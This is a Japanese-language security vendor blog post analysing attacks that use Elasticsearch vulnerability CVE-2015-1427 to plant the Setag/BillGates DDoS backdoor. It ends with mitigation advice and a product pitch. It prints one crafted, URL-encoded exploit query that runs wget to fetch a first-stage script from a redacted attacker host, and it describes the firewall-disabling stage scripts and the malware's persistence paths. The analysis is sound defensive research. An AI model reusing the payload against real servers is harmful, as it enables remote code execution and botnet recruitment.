バックドア型マルウェア「Setag/BillGates」により「Elasticsearch」サーバをボット化する攻撃を確認

サイバー犯罪者が全文検索エンジン「Elasticsearch」のサーバを狙うのは、法人組織におけるその人気普及を考えると珍しいことではありません。事実、2019年第1四半期にはElasticsearchサーバの脆弱性やセキュリティの不備を突く攻撃の急増が見られました。トレンドマイクロの確認では、これらの攻撃は主に仮想通貨発掘マルウェアを送り込むものでした。

しかし最近、直接的に金銭的な利益をもたらすマルウェアではなく、バックドア型マルウェア「Setag(別名:BillGates、トレンドマイクロでは「ELF_SETAG.SM」として検出)」を送り込む攻撃が確認されました。これにより攻撃者は分散型サービス拒否(Distributed Denial of Service、DDoS)攻撃のためのボットネットを構築します。

図1:攻撃の流れ

図1:攻撃の流れ

攻撃はインターネット上でアクセス可能なElasticsearchのデータベースまたはサーバを検索するところから始まります。攻撃者は、ElasticsearchのクエリにエンコードされたJavaのコマンドを含む細工した文字列を使用するコマンドインジェクション攻撃を行います。脆弱性によりこのコマンドが実行されると、不正サイトから第1段階の不正スクリプトがダウンロードされます。調査によると、この不正サイトは使い捨てて置き換えることが可能のようでした。続いて、また別のサイトから第2段階のスクリプトを取得します。このサイトは攻撃者により侵害された正規サイトと考えられます。

使い捨てのドメインや侵害したWebサイトを利用してスクリプトをダウンロードする手口は注目に値します。これにより攻撃者はドメインが検出されても、使い捨てて別のドメインに切り替えることが可能です。また、自身でWebサイトを作成する代わりに侵害したWebサイトを利用することにより、自身のインフラストラクチャの検出を回避することができます。

■2段階で不正スクリプトを実行

この攻撃はElasticsearchのスクリプトエンジン「Groovy」の古い脆弱性「CVE-2015-1427」を利用します。この脆弱性に対処する修正プログラムは2015年2月に公開されています。影響を受けるバージョンは1.3.0~1.3.7および1.4.0~1.4.2です。以下は攻撃者が利用する細工されたクエリの例です。黄色くハイライトされた部分が最初に実行されるコマンドです。

request_url=”<省略>[:]9200/_search?source=%7B%22query%22%3A+%7B%22filtered%22%3A+%7B%22query%22%3A+%7B%22match_all%22%3A+%7B%7D%7D%7D%7D%2C+%22script_fields%22%3A+%7B%22exp%22%3A+%7B%22script%22%3A+%22import+java.util.%2A%3Bimport+java.io.%2A%3BString+str+%3D+%5C%22%5C%22%3BBufferedReader+br+%3D+new+BufferedReader%28new+InputStreamReader%28Runtime.getRuntime%28%29.exec%28%5C%22wget+<省略>%2Fs67.sh+-O+S67%5C%22%29.getInputStream%28%29%29%29%3BStringBuilder+sb+%3D+new+StringBuilder%28%29%3Bwhile%28%28str%3Dbr.readLine%28%29%29%21%3Dnull%29%7Bsb.append%28str%29%3Bsb.append%28%5C%22%5Cr%5Cn%5C%22%29%3B%7Dsb.toString%28%29%3B%22%7D%7D%2C+%22size%22%3A+1%7D

先述のように、攻撃には2つの段階があります。まずドロッパが図2のように第1段階のスクリプト「s67.sh」を実行します。使用するシェルの種類とパスはこのスクリプト内で定義されています。「s67.sh」は、ファイアウォールを停止し、curlコマンドを使用して第2段階のスクリプト「s66.sh」をダウンロードします。curlコマンドによる取得に失敗した場合、wgetコマンドを使用します。

図2:第1段階のスクリプト「s67.sh」

図2:第1段階のスクリプト「s67.sh」

第2段階のスクリプトは、第1段階のスクリプトと同様に、使用するシェルを指定しファイアウォールを停止します。加えて、「/tmp」ディレクトリから競合する仮想通貨発掘ツールと考えられる特定のファイルを設定ファイルと合わせて削除します。次に、既存の仮想通貨発掘プロセスと自身にとって不都合なその他のプロセスを停止します。これは以前に別の攻撃者がサーバを侵害し、仮想通貨を発掘させていることを想定した活動と言えます。

図3:競合するプロセスを停止する第2段階のスクリプト

図3:競合するプロセスを停止する第2段階のスクリプト

続いて図4のように、初期の感染の痕跡を削除し、特定のTCPポートをリッスンしているプロセスを停止します。

図4:特定のTCPポートをリッスンしているプロセスを終了するコード

図4:特定のTCPポートをリッスンしているプロセスを終了するコード

最後に、図5のようにバイナリファイルをダウンロードします。このバイナリファイルは、侵害されたと思われるWebサイトまたはグレーなWebサイトにホストされています。

図5:バイナリファイルをダウンロードするコード

図5:バイナリファイルをダウンロードするコード

■バックドア型マルウェア「Setag/BillGates」

最後にダウンロードされるバイナリファイル検体を解析した結果、システム情報の窃取とDDoS攻撃が可能なバックドア型マルウェアであることが判明しました。

この検体は、AKAMAIにより「BillGates」と命名されているマルウェアの特徴を示していました。BillGatesは2014年に初めて確認されたマルウェアであり、トレンドマイクロでは「Setag」と呼称しています。以前にはこれと同じバックドア型マルウェアが、Webアプリケーション開発フレームワーク「Apache Struts 2」における遠隔からのコード実行(Remote Code Execution、RCE)脆弱性「CVE-2017-5638」利用していたことが確認されています。また、最近になって亜種がボットネットに関連した活動で使用されていることも確認しています。

この検体は、システムを乗っ取りDDoS攻撃を行ったことで2014年に初めて確認されたマルウェア「BillGates」の特徴を示していました。トレンドマイクロは最近、BillGatesの亜種がボットネットに関連した活動に関与していることを確認しています。

このマルウェアは図6のように、デバッグを回避し、変更をチェックするコードを備えています。また、複数のシステムツールを自身のコピーに置き換え、元のファイルを「/usr/bin/dpkgd」ディレクトリに移動します。さらに、活動を持続するために、自身のコピーを作成するスクリプトを以下のパスに作成します。

  • /etc/rc{1-5}.d/S97DbSecuritySpt
  • /etc/rc{1-5}.d/S99selinux
  • /etc/init.d/selinux
  • /etc/init.d/DbSecuritySpt

図6:バックドア型マルウェア「BillGates」のコード

図6:バックドア型マルウェア「BillGates」のコード
デバッグを回避(上段左)多段階の実行(上段中央)
実行可能なDDoS攻撃の種類(上段右)置き換えるシステムツールの一覧(下段)

■被害に遭わないためには

今回の攻撃は、インターネットからElasticsearchにアクセス可能なこと、2015年に既に修正されている脆弱性が更新されていないことの2点が揃わないと被害に遭うことはありません。開発元のElasticが公開している、Elasticsearchの適切な設定とセキュリティ機能を有効化する方法に関するガイドラインに従うとともに、最新の修正プログラムを適用することで被害に遭う危険性はほとんどなくなります。

トレンドマイクロが確認してきたElasticsearchを狙う攻撃の多くは比較的直截的であり、通常は金銭を目的とするものでした。攻撃者は通常、脆弱なまたは安全でないサーバを検索し、仮想通貨発掘マルウェアやランサムウェアを送り込みます。

それゆえ、今回の攻撃のように、検出を回避するための予防措置を取り、多段階の実行の手法を使用する攻撃には警戒すべきです。背後にいるサイバー犯罪者が、エンコードしたURLと侵害した正規のWebサイトにスクリプトをホストしていたのは、単にツールをテストしていたか、あるいは自身のインフラストラクチャを使用した実際の攻撃の前にその準備を行っていたことを意味しているかもしれません。

安全でないElasticsearchサーバがユーザの実生活に影響を与えた攻撃を考慮すると、今回の攻撃はデジタル資産を適切に保護することの重要性を強調する事例だと言えます。

データの分類ネットワークの分割、そして侵入防御のような対策もこのような攻撃に対処する上で有効です。

■トレンドマイクロの対策

クロスジェネレーションで進化を続ける「XGen™セキュリティ」は、AI 技術をはじめとする先進技術と実績の高いスレットインテリジェンスを融合した防御アプローチにより、データを保管するサーバ、データを交換するネットワーク、データを利用するユーザの各レイヤーで最適化されたセキュリティを提供します。Web/URLフィルタリング、挙動解析、カスタムサンドボックスのような機能を備えたクロスジェネレーション(XGen)セキュリティアプローチは、既知または未知/未公開の脆弱性を狙い、個人情報の窃取や暗号化、不正な仮想通貨発掘活動を行う脅威をブロックします。XGen は「Hybrid Cloud Security」、「User Protection」、そして「Network Defense」へのソリューションを提供するトレンドマイクロ製品に組み込まれています。

■侵入の痕跡(Indicators of Compromise、IoCs)

侵入の痕跡はこちらを参照してください。

※調査協力:Tony Bao

参考記事:

翻訳: 澤山 高士(Core Technology Marketing, Trend Micro™ Research)